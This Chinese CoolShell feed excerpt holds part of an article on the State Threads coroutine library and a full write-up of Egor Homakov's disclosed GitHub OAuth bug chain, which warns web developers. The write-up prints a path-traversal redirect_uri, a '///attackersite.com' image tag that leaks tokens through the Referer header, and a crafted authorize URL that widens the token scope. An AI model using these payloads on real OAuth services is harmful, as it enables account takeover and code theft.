<p>我们先来纵向比较ST与传统的EDSM区别，再来横向比较与其它线程库（比如Pthread）的区别（注：以下图片全部来自<a title="ST FAQ" href="http://state-threads.sourceforge.net/docs/faq.html" target="_blank">State Threads Library FAQ</a>）。</p>
<p>传统EDSM最常见的方式就是I/O事件的<strong>异步回调</strong>。基本上都会有一个叫做dispatcher的单线程主循环（又叫event loop），用户通过向dispatcher注册回调函数（又叫event handler）来实现异步通知，从而不必在原地空耗资源干等，在dispatcher主循环中通过select()/poll()系统调用来等待各种I/O事件的发生，当内核检测到事件触发并且数据可达或可用时，select()/poll()会返回从而使dispatcher调用相应的回调函数来对处理用户的请求。所以异步回调与其说是通知，不如说用委托更恰当。</p>
<p>整个过程都是单线程的。<strong>这种处理本质上就是将一堆互不相交（disjoint）的回调实现同步控制，就像串联在一个顺序链表上。</strong>见图1，黑色的双箭头表示I/O事件复用，回调是个筐，里面装着对各种请求的处理（当然不是每个请求都有回调，一个请求也可以对应不同的回调），每个回调被串联起来由dispatcher激活。这里请求等价于thread的概念（不是操作系统的线程），只不过“上下文切换”（context switch）发生在每个回调结束之时（假设不同请求对应不同回调），注册下一个回调以待事件触发时恢复其它请求的处理。至于dispatcher的执行状态（execute state）可作为回调函数的参数保存和传递。</p>
<p><img decoding="async" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2014/10/edsm.gif" alt="EDSM" /></p>
<p>异步回调的缺陷在于<strong>难以实现和扩展</strong>，虽然已经有libevent这样的通用库，以及其它actor/reacotor的设计模式及其框架，但正如Dean Gaudet（Apache开发者）所说：“其内在的复杂性——<strong>将线性思维分解成一堆回调的负担</strong>（breaking up linear thought into a bucketload of callbacks）——仍然存在”。从上图可见，<strong>回调之间请求例程不是连续的，比如回调之间的切换会打断部分请求，又比如有新的请求需要重新注册。</strong></p>
<p><strong>ST本质上仍然是基于EDSM模型，但旨在取代传统的异步回调方式。</strong>ST将请求抽象为thread概念以更接近自然编程模式（所谓的linear thought吧，就像操作系统的线程之间切换那样自然）。ST的调度器（scheduler）对于用户来说是透明的，不像dispatcher那种将执行状态（execute state）暴露给回调方式。每个thread的现场环境可以保存在栈上（一段连续的大小确定的内存空间），由C的运行环境管理。从图2看到，<strong>ST的threads可以并发地线性地处理I/O事件，模型比异步回调简单得多。</strong></p>
<p><img decoding="async" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2014/10/st_edsm.gif" alt="State Threads" /></p>
<p>这里稍微解释一下ST调度工作原理，ST运行环境维护了四种队列，分别是IOQ、RUNQ、SLEEPQ以及ZOMBIEQ，<strong>当每个thread处于不同队列中对应不同的状态（ST顾名思义所谓thread状态机）。</strong>比如polling请求的时候，当前thread就加入IOQ表示等待事件（如果有timeout同时会被放到SLEEPQ中），当事件触发时，thread就从IOQ（如果有timeout同时会从SLEEPQ）移除并转移到RUNQ等待被调度，成为当前的running thread，相当于操作系统的就绪队列，跟传统EDSM对应起来就是注册回调以及激活回调。再比如模拟同步控制wait/sleep/lock的时候，当前thread会被放入SLEEPQ，直到被唤醒或者超时再次进入RUNQ以待调度。</p>
<p><strong>ST的调度具备性能与内存双重优点</strong>：在性能上，ST实现自己的setjmp/longjmp来模拟调度，无任何系统开销，并且context（就是jmp_buf）针对不同平台和架构用底层语言实现的，可移植性媲美libc。下面放一段代码解释一下调度实现：</p>
<pre data-enlighter-language="c" class="EnlighterJSRAW">/*
 * Switch away from the current thread context by saving its state 
 * and calling the thread scheduler
 */
#define _ST_SWITCH_CONTEXT(_thread)       \
    ST_BEGIN_MACRO                        \
    if (!MD_SETJMP((_thread)-&gt;context)) { \
      _st_vp_schedule();                  \
    }                                     \
    ST_END_MACRO

/*
 * Restore a thread context that was saved by _ST_SWITCH_CONTEXT 
 * or initialized by _ST_INIT_CONTEXT
 */
#define _ST_RESTORE_CONTEXT(_thread)   \
    ST_BEGIN_MACRO                     \
    _ST_SET_CURRENT_THREAD(_thread);   \
    MD_LONGJMP((_thread)-&gt;context, 1); \
    ST_END_MACRO

void _st_vp_schedule(void)
{
    _st_thread_t *thread;

    if (_ST_RUNQ.next != &amp;_ST_RUNQ) {
        /* Pull thread off of the run queue */
        thread = _ST_THREAD_PTR(_ST_RUNQ.next);
        _ST_DEL_RUNQ(thread);
    } else {
        /* If there are no threads to run, switch to the idle thread */
        thread = _st_this_vp.idle_thread;
    }
    ST_ASSERT(thread-&gt;state == _ST_ST_RUNNABLE);

    /* Resume the thread */
    thread-&gt;state = _ST_ST_RUNNING;
    _ST_RESTORE_CONTEXT(thread);
}
</pre>
<p>如果你熟悉setjmp/longjmp的用法，你就知道当前thread在调用MD_SETJMP将现场上下文保存在jmp_buf中并返回返回0，然后自己调用_st_vp_schedule()将自己调度出去。调度器先从RUNQ上找，如果队列为空就找idle thread，这是在整个ST初始化时创建的一个特殊thread，然后将当前线程设为自己，再调用MD_LONGJMP切换到其上次调用MD_SETJMP的地方，从thread-&gt;context恢复现场并返回1，该thread就接着往下执行了。<strong>整个过程就同EDSM一样发生在操作系统单线程下，所以没有任何系统开销与阻塞。</strong></p>
<p><strong>其实真正的阻塞是发生在等待I/O事件复用上，也就是select()/poll()，这是整个ST唯一的系统调用。</strong>ST当前的状态是，整个环境处于空闲状态，所有threads的请求处理都已经完成，也就是RUNQ为空。这时在_st_idle_thread_start维护了一个主循环（类似于event loop），主要负责三种任务：1.对IOQ所有thread进行I/O复用检测；2.对SLEEPQ进行超时检查；3.将idle thread调度出去，代码如下：</p>
<pre data-enlighter-language="c" class="EnlighterJSRAW">
void *_st_idle_thread_start(void *arg)
{
    _st_thread_t *me = _ST_CURRENT_THREAD();

    while (_st_active_count &gt; 0) {
        /* Idle vp till I/O is ready or the smallest timeout expired */
        _ST_VP_IDLE();

        /* Check sleep queue for expired threads */
        _st_vp_check_clock();

        me-&gt;state = _ST_ST_RUNNABLE;
        _ST_SWITCH_CONTEXT(me);
    }

    /* No more threads */
    exit(0);

    /* NOTREACHED */
    return NULL;
}</pre>
<p>这里的me就是idle thread，因为_st_idle_thread_start就是创建idle thread的启动点，每从上次_ST_SWITCH_CONTEXT()切换回来的时候，接着在_ST_VP_IDLE()里轮询I/O事件的发生，一旦检测到发生了别的thread事件或者SLEEPQ里面发生超时，再用_ST_SWITCH_CONTEXT()把自己切换出去，如果此时RUNQ中非空的话就切换到队列第一个thread。这里主循环是不会退出的。</p>
<p>在内存方面，<strong>ST的执行状态作为局部变量保存在栈上，而不是像回调需要动态分配，</strong>用户可能分别这样使用thread模式和callback模式：</p>
<pre data-enlighter-language="c" class="EnlighterJSRAW">/* thread land */
int foo()
{
    int local1;
    int local2;
    do_some_io();
}

/* callback land */
struct foo_data {
    int local1;
    int local2;
};

void foo_cb(void *arg)
{
    struct foo_data *locals = arg;
    ...
}

void foo()
{
    struct foo_data *locals = malloc(sizeof(struct foo_data));
    register(foo_cb, locals);
}
</pre>
<h4>基于Mult-Threading范式</h4>
<p>同样基于multi-threading编程范式，ST同其它线程库又有和有点呢？比如Posix Thread（以下简称PThread）是个通用的线程库，它是<strong>将用户级线程（thread）同内核执行对象（kernel execution entity，有些书又叫lightweight processes）做了1:1或m:n映射，</strong>从而实现multi-threading模式。<strong>而ST是单线程（n:1映射），它的thread实际上就是协程（coroutine）。</strong>通常的网络应用上，多线程范式绕不开操作系统，但在某些特定的服务器领域，线程间的共享资源会带来额外复杂度，锁、竞态、并发、文件句柄、全局变量、管道、信号等，面对这些Pthread的灵活性会大打折扣。<strong>而ST的调度是精确的，它只会在明确的I/O和同步函数调用点上发生上下文切换，这正是协程的特性，如此一来ST就不需要互斥保护了，进而也可以放心使用任何静态变量和不可重入库函数了</strong>（这在同样作为协程的Protothreads里是不允许的，因为那是stack-less的，无法保存上下文），极大的简化了编程和调试同时增加了性能。</p>
<p>对于同样用户级线程如GNU Pth和MIT Phread比起来呢？有两点，一是ST的thread是<strong>无优先级的非抢占式调度</strong>，也就是说ST基于EDSM的，每个thread都是事件或数据驱动，迟早会把自己调度出去，而且调度点是明确的，并非按时间片来的，从而简化了thread管理；二是ST会<strong>忽略所有信号处理</strong>，在_st_io_init中会把sigact.sa_handler设为SIG_IGN，这样做是因为将thread资源最小化，避免了signal mask及其系统调用（在ucontext上是避免不了的）。但这并不意味着ST就不能处理信号，实际上ST建议将信号写入pipe的方式转化为普通I/O事件处理，示例详见<a title="signal handling" href="http://state-threads.sourceforge.net/docs/notes.html#signals" target="_blank">这里</a>。</p>
<p>这里顺便说一句，<strong>C语言实现的协程据我所知只有三种方式</strong>：Protothread为代表利用switch-case语义跳转，以ST为代表不依赖libc的setjmp/longjmp上下文切换，以及依赖glibc的ucontext接口（<a title="云风的coroutine" href="https://github.com/cloudwu/coroutine" target="_blank">云风的coroutine</a>）。第一种最轻，但受限最大，第三种耗资源性能慢（陈皓注：glibc的ucontext接口的实现中有一个和信号有关的系统调用，所以会慢，估计在一些情况下会比pthread还慢），目前看来ST是最好使的。</p>
<h4>基于多核环境</h4>
<p>下面来聊聊ST在多核环境下的应用。服务器领域多核的优势在于实现了物理上真正的并发，所以如何充分利用系统优势也是线程库的一大难点。这对ST来说也许正是它的拿手好戏，前面提及ST曾作为Apache的多核引擎模块发布。这里要补充一下前面漏掉的ST的一个重要概念——<strong>虚拟处理器</strong>（virtual processor，简称vp），见图3，多个cpu通过内核的SMP模拟出多个“核”（core），一个core对应一个内核任务（kernel task），同时对应一个用户进程（process），一个process对应ST的一个vp，每个vp下就是ST的thread（是协程不是线程），结合前面所述，vp初始化先创建idle thread，然后根据I/O事件驱动其它threads，这就是ST的多核架构。</p>
<p><img decoding="async" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2014/10/st_app.gif" alt="multi-core" /></p>
<p>这里要指出的是，<strong>ST只负责自身thread调度，进程管理是应用程序的事情，</strong>也就是说由用户来决定fork多少进程，每个进程分配多少资源，如何进行IPC等。这种架构的好处就是每个vp有自己独立的空间，避免了资源同步竞态（比如杜绝了多进程里的多线程这样混乱的模型）。我们知道这种<strong>基于进程的架构是非常健壮的，一个进程奔溃不会影响到其它进程，同时充分利用多核硬件的高并发。</strong>同时对于具体逻辑业务使用vp里的thread处理，这是基于EDSM的，如此一来做到了<strong>逻辑业务与内核执行对象之间的解耦</strong>，没必要因为1K个连接去创建1K的进程。这就是ST的扩展性和灵活性。</p>
<h4>使用限制</h4>
<p>ST的主要限制在于，应用程序所有I/O操作必须使用ST提供的API，因为只有这样thread才能被调度器管理，并且避免阻塞。</p>
<p>另一个限制在于thread调试，这本身不容易，好在v1.9的ST提供了DEBUG参数，使用TREADQ以及_st_iterate_threads接口检测thread调度情况，用户还可自定义_st_show_thread_stack接口dump每个thread的栈，在GDB使能_st_iterate_threads_flag变量，这些都在Readme中对调试方法有具体说明。按下不表。</p>
<h4>总结</h4>
<p>这篇文章写得有点短了，主要是通过对比来介绍ST的，其实还有大段原理可以讲，大段源码以及实战用例可以贴，但这一下子又写不过来，ST还是有点技术含量的。说白了，<strong>ST的核心思想就是利用multi-threading的简单优雅范式胜过传统异步回调的复杂晦涩实现，又利用EDSM的性能和解耦架构避免了multi-threading在系统上的开销和暗礁。</strong>学习ST告诉我们一个道理：<strong>未来技术的趋势永远都是融合的。</strong></p>
<h4>参考</h4>
<ul>
<li>在<a title="sourceforge源码" href="http://sourceforge.net/projects/state-threads/files/" target="_blank">SourceForge</a>以及<a title="github源码" href="https://github.com/winlinvip/state-threads" target="_blank">github</a>上的源码：前者有历史版本及win32版本，后者只有v1.9。</li>
</ul>
<ul>
<li><a title="State Threads for Internet Applications" href="http://state-threads.sourceforge.net/docs/st.html" target="_blank">State Threads for Internet Applications</a>：介绍原理的，值得一看，<a title="中文翻译" href="http://blog.csdn.net/win_lin/article/details/8242653" target="_blank">这里</a>有篇中文翻译附加单元测试（在单CPU 512M内存上创建数万个thread，CPU占用率约5%，内存约4.3K/thread）。</li>
</ul>
<ul>
<li><a title="State Threads Library FAQ" href="http://state-threads.sourceforge.net/docs/faq.html" target="_blank">State Threads Library FAQ</a>：本文基于此而写。</li>
</ul>
<ul>
<li><a title="API手册" href="http://state-threads.sourceforge.net/docs/reference.html" target="_blank">Complete reference</a>：API完全手册。</li>
</ul>
<ul>
<li><a title="注意事项" href="http://state-threads.sourceforge.net/docs/notes.html" target="_blank">Programing Notes</a>：编程注意事项，包括信号处理，IPC，非网络I/O事件等。</li>
</ul>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="http://coolshell.cn/articles/10975.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg" alt="一个“蝇量级” C 语言协程库" width="150" height="150" /></a><a href="http://coolshell.cn/articles/10975.html" class="wp_rp_title">一个“蝇量级” C 语言协程库</a></li><li ><a href="http://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="http://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="http://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="http://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li><li ><a href="http://coolshell.cn/articles/8309.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="C/C++语言中闭包的探究及比较" width="150" height="150" /></a><a href="http://coolshell.cn/articles/8309.html" class="wp_rp_title">C/C++语言中闭包的探究及比较</a></li><li ><a href="http://coolshell.cn/articles/8239.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg" alt="无锁队列的实现" width="150" height="150" /></a><a href="http://coolshell.cn/articles/8239.html" class="wp_rp_title">无锁队列的实现</a></li><li ><a href="http://coolshell.cn/articles/7965.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg" alt="一个fork的面试题" width="150" height="150" /></a><a href="http://coolshell.cn/articles/7965.html" class="wp_rp_title">一个fork的面试题</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/12012.html">State Threads 回调终结者</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/12012.html/feed</wfw:commentRss>
			<slash:comments>50</slash:comments>
		
		
			</item>
		<item>
		<title>从“黑掉Github”学Web安全开发</title>
		<link>https://coolshell.cn/articles/11021.html</link>
					<comments>https://coolshell.cn/articles/11021.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Mon, 10 Feb 2014 00:16:11 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[Gist]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[OAuth]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=11021</guid>

					<description><![CDATA[<p>Egor Homakov（Twitter: @homakov 个人网站: EgorHomakov.com）是一个Web安全的布道士，他这两天把github给黑了...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/11021.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/11021.html">从“黑掉Github”学Web安全开发</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security.png" width="236" height="251" />Egor Homakov（Twitter: <a href="http://twitter.com/homakov">@homakov</a> 个人网站: <a href="http://egorhomakov.com/">EgorHomakov.com</a>）是一个Web安全的布道士，他这两天把github给黑了，并给github报了5个安全方面的bug，他在他的这篇blog——《<a href="http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html" target="_blank">How I hacked Github again</a>》（墙）说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单，很多地方一笔带过，所以，<strong>我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕</strong>。关于Web开发中的安全事项，大家可以看看这篇文章《<a title="Web开发中需要了解的东西" href="https://coolshell.cn/articles/6043.html" target="_blank">Web开发中的你需要了解的东西</a>》</p>
<h4>OAuth简介</h4>
<p>首先，这个故事要从<a href="https://developer.github.com/v3/oauth/" target="_blank">Github OAuth</a>讲起。所以，我们需要先知道什么是<a href="http://en.wikipedia.org/wiki/OAuth" target="_blank">OAuth</a>。所谓OAuth就是说，第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务，提供OAuth服务的网站一般都有很多开放的API，第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能，但是，当用户在使用这些第三方应用的时候，这些第三方的应用会来访问用户的帐户内的功能和数据，所以，当第三应用要干这些事的时候，我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码，不然第三方的应用就把用户的密码给获取了，所以，OAuth协议会跳转到一个页面，让用户授权给这个第三方应用以某些权限，然后，这个权限授权的记录保存在Google/Facebook/Twitter上，并向第三方应用返回一个授权token，于是第三方的应用通过这个token来操作某用户帐号的功能和数据时，就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。</p>
<p><span id="more-11021"></span></p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-11022" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication.png" width="630" height="375" srcset="https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication.png 700w, https://coolshell.cn/wp-content/uploads/2014/02/oauth-authentication-300x178.png 300w" sizes="(max-width: 630px) 100vw, 630px" /></p>
<p style="text-align: left;">从上面的流程图中，我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议，所以，在Server端要把OAuth实现对并不是一些容易事，其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。</p>
<h4 style="text-align: left;">OAuth的Callback</h4>
<p>还需要注意的是，因为OAuth是需要跳到主站的网页上去让用户授权，当用户授权完后，需要跳转回原网页，所以，一般来说，OAuth授权页都会带一个 redirect_url的参数，用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说，redirect_uri这个参数需要在服务器端进行验证。</p>
<p>你想一下，如果有人可以控制这个redirect_uri这个参数，那么，你就可以让其跳转到别的网页上（可能会是个有恶意的网页）。如果你觉得跳转到别的网页上也无所谓，那么你就错了。别忘了，当你对这个第三方的应用授权通过后，服务方会给第三方应用返回一个授权token，这个token会被加到那个redirect_uri参数后面然后跳转回去，如果这个redirect_uri被别有用心的人改一个恶意的网址后，这个token也就被转过去了，于是授权token也就被泄漏过去了。</p>
<p>知道了这一切，我们就可以理解Egor提的那5个bug是什么意思了。</p>
<h4>第一个Bug — 没有检查重定向URL中的/../</h4>
<p>首先，我们通过<a href="https://developer.github.com/v3/oauth/#redirect-urls" target="_blank">Github的 redirect_uri 的说明文档</a>我们可以看到这样的说明：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">如果 CALLBACK URL是: http://example.com/path

GOOD: https://example.com/path
GOOD: http://example.com/path/subdir/other

BAD: http://example.com/bar
BAD: http://example.com/
BAD: http://example.com:8080/path
BAD: http://oauth.example.com:8080/path
BAD: http://example.org</pre>
<p>而Github对于redirect_uri做了限制，要求只能跳回到 https://gist.github.com/auth/github/callback/，也就是说，域名是gist.github.com，目录是/auth/github/callback/，服务器端做了这个限制，看似很安全了。</p>
<p>但是，Egor发现，Github的服务器端并没有验证.. /../../这样的情况。</p>
<p>于是，Egor相当于构造了一个下面这样的Redirect URL：</p>
<pre style="font-size: 10pt;">https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE</pre>
<p>于是上面的URL就相当于：</p>
<pre style="font-size: 10pt;">https://gist.github.com/homakov/8820324?code=CODE</pre>
<p>你可以看到，认证后的跳转网页转到了别的地方去（并非是github限制的地方）——我们知道Github的gist虽然是给你分享代码片段的，但是也可以用来定制自己的东西的（比如markdown），这个gist的网页当然是被Egor所控制的。</p>
<h4>第二个BUG — 没有校验token</h4>
<p>第一个bug其实并没有什么，如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样，只要服务器做了这个验证，第一个bug完全没有什么用处，但是，github的服务端并没有验证。</p>
<p>这就是第二个bug，于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。</p>
<p>也就是说，token的生成要考虑redirect_uri，这样，当URL跳转的时候，会把redirect_uri和token带到跳转页面（这里的跳转页面还是github自己的），跳转页面的服务端程序要用redirect_uri来生成一个token，看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以保证URL的不被人篡改。一般来说，对URL签名和对签名验证的因子包括，源IP，服务器时间截，session，或是再加个salt什么的。</p>
<h4>第三个BUG — 注入跨站图片</h4>
<p>现在，redirect_uri带着code，安全顺利地跳到了Egor构造的网页上：</p>
<pre>https://gist.github.com/homakov/8820324?code=CODE</pre>
<p>但是，这个是gist的网页，你无法在这个页面上运行前端（Javascript）或后端程序（Ruby——Github是Ruby做的），现在的问题是我们怎么得到那个code，因为那个code虽然后带到了我的网页上来，但那个网页还是github和用户自己的环境。</p>
<p>到这里，一般来说，黑客会在这个页面上放一个诸如下面的一个链接，来引诱用户点击，：</p>
<p>&lt;a href=http://hack.you.com/&gt;私人照片&lt;/a&gt;</p>
<p>这样，当页面跳转到黑客的网站上来后，你之前的网页上的网址会被加在http头里的 Refere 参数里，这样，我就可以得到你的token了。</p>
<p>但是，在gist上放个链接还要用户去点一下，这个太影响“用户体验”了，最好能嵌入点外部的东西。gist上可以嵌入外站的图片，但是github的开发人员并非等闲之辈，对于外站的图片，其统统会把这些图片的url代理成github自己的url，所以，你很难搞定。</p>
<p>不过，我们可以用一个很诡异的技巧：</p>
<p style="text-align: center;"><b>&lt;img src=&#8221;///attackersite.com&#8221;&gt;</b></p>
<p>这个是什么玩意？这个是个URL的相对路径。但是为什么会有三个///呢？呵呵。</p>
<h5>像程序员一样的思考</h5>
<p>这个时候，我们需要以“程序员的编程思维”来思考问题——如果你是程序员，你会怎么写校验URL的程序？你一定会想到使用正则表达式，或是用程序来匹配URL中的一些pattern。于是，</p>
<ul>
<li>对于绝对路径：你会匹配两个//，后面的可能会是 user@host.com（user@是可选的），然后可能会有:&lt;n&gt;端口号，然后是/，后面是服务器的路径，再往后面应该是?后面带一些参数了。</li>
</ul>
<ul>
<li>对于相对路径：就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。</li>
</ul>
<p>好了，如果coolshell.cn网页中的&lt;img src=&gt;或&lt;a href=&gt;中用到的相对路径是 /host.com，那么浏览器会解释成：https://coolshell.cn/host.com，如果是///host.com，那么就应该被浏览器解释成 https://coolshell.cn///host.com。</p>
<p>但是，Chrome和Firefox，会把///host.com当成绝对路径，因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ，你可以看看下面的连接（源码如下）：</p>
<p style="text-align: center;"><a href="///www.google.com" target="_blank">CoolShell Test</a></p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;a href=&quot;///www.google.com&quot;&gt;CoolShell Test&lt;/a&gt;</code></p>
<p>关键是，这个Chrome/Firefox的问题被标记成了Won&#8217;t Fix，我勒个去，基本上来说，后台的程序也有可能有这样的问题，对于Perl，Python，Ruby，Node.js，PHP带的URL检查的函数库都有这样的问题。</p>
<p>于是，我们就可以使用这样的方式给gist注入了一个第三方站点的图片（github的服务端没有察觉到（因为我们前面说过大多数语言的URL检查库都会被 Bypass了），但是浏览器端把这个链接解释到了第三方的站点上），于是请求这个图片的http头中的refere 中包含用户当前页面的URL，也包含了用户授权的code。</p>
<p>到这里，黑客Egor已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足，他想要的更多。</p>
<h4>第四个bug &#8211; Gist把github_token放在了cookie里</h4>
<p>于是Egor在用户的cookie里找到了 github_token</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11030" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie.png" width="395" height="47" srcset="https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie.png 395w, https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie-300x35.png 300w" sizes="(max-width: 395px) 100vw, 395px" /></p>
<p>但是这个token没什么用，因为授权的Scope只有gists。但是，这个token不应该放在用户端的cookie里，本身就是一个安全事故，这个东西只能放在服务端（关于Web开发中的安全事项，可以看看这篇文章《<a title="Web开发中需要了解的东西" href="https://coolshell.cn/articles/6043.html" target="_blank">Web开发中的你需要了解的东西</a>》）。</p>
<p>于是，Egor只能另谋出路。</p>
<h4>第五个Bug &#8211; 自动给gist授权</h4>
<p>因为gist是github自家的，Egor所以估计github想做得简单一点，当用户访问gist的时候，不会出弹出一个OAuth的页面来让用户授权，不然，用户就会很诧异，都是你们自家的东西，还要授权？所以，Egor猜测github应该是对gist做了自动授权，于是，Egor搞了这样的一个URL（注意其中的 redirect_uri中的scope ）</p>
<p style="word-wrap: break-word; padding: 10px 20px 20px 30px; background-color: #eee;">https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&amp;redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<b>2Fcallback/../../../homakov/8820324</b>&amp;response_type=code&amp;<b>scope=repo,gists,user,delete_repo,notifications</b></p>
<p>于是，这个redirect-uri不但帮黑客拿到了访问gist的token，而且还把授权token的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。</p>
<h4> 其它 &amp; 感想</h4>
<p>于是，作者从 <a href="https://bounty.github.com/">Github Security Bug Bounty</a> 拿到了USD $4,000的奖励！Egor一共花了从下午2点到6点一共4个小时找到了这些Bug，平均一小时1000美刀。Egor还很得瑟的说，如果Github请他做安全顾问，他只收一小时USD $400刀，这4个小时也就$1,600。呵呵。大家看看，这是多么有效率的赚钱方式。</p>
<p>下图是Github上的赏金猎手的排行榜（<a href="https://bounty.github.com/index.html#leaderboard" target="_blank">https://bounty.github.com/index.html#leaderboard</a>）你可以上去挨个看看他们找到的问题，你会发现好些安全问题都很小，有些只能说是不是很规范的问题，Github都赏了几百刀。我查看了一下github的赏金政策，github赏金至少100刀，到5000刀不等。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-11053" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard.jpg" width="580" height="478" srcset="https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard.jpg 716w, https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard-300x247.jpg 300w" sizes="(max-width: 580px) 100vw, 580px" /></p>
<p>让我们扪心自问一下，我们花了多少时间在玩那些“红包游戏”，而又搞到了多少红包？人家4个小时找了5个bug，挣了$4000美金。<strong>老天给了你我一样的时间，我们用来抽几块钱的红包，人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率</strong>——你可以移步看看我写的《<a title="加班与效率" href="https://coolshell.cn/articles/10217.html" target="_blank">加班与效率</a>》</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" 